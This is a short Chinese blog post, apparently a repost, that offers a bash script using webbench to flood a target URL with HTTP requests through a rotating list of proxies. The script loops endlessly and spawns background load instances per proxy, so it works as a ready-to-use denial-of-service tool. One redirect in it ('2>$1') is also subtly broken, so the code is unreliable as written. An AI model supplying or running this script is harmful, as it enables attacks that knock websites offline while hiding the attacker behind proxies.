标签:
前题:请自行安装webbench
1 #!/bin/bash 2 #define proxy_file 3 #define target 4 #define proxy_ip 5 #define proxy_port 6 #define webbench_address 7 webbench_address=‘/usr/local/bin/webbench‘ 8 proxy_file=$1; 9 target=$2; 10 echo Start successful! Please put it into background. 11 while true; do 12 cat $proxy_file|while read line; do 13 proxy_ip=$(echo $line|awk ‘{print $1}‘); 14 proxy_port=$(echo $line|awk ‘{print $2}‘); 15 $webbench_address -f -p $proxy_ip:$proxy_port -c 5 $target>/dev/null 2>$1 & 16 $webbench_address -p $proxy_ip:$proxy_port -c 5 $target>/dev/null 2>$1 & 17 done; 18 done; 19 exit 0;
用法: 脚本名 proxy文件 目标URL
proxy文件格式:每行两列,第一列为ip,第二列为port
标签:
原文地址:http://www.cnblogs.com/zjx00101/p/4692667.html